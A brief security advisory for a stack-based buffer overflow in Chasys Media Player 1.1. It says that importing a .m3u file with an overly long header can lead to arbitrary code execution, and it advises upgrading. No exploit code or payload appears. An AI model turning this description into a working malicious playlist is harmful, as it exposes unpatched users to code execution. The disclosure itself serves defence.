Chasys Media Player 1.1 (.m3u) Stack Overflow Exploit

Chasys Media Player 1.1 is vulnerable to a stack overflow vulnerability when a specially crafted .m3u file is imported. The vulnerability is caused due to a boundary error when handling the header of the .m3u file. This can be exploited to cause a stack-based buffer overflow by sending a specially crafted .m3u file with an overly long header. Successful exploitation could allow execution of arbitrary code.

Mitigation:

Upgrade to the latest version of Chasys Media Player.
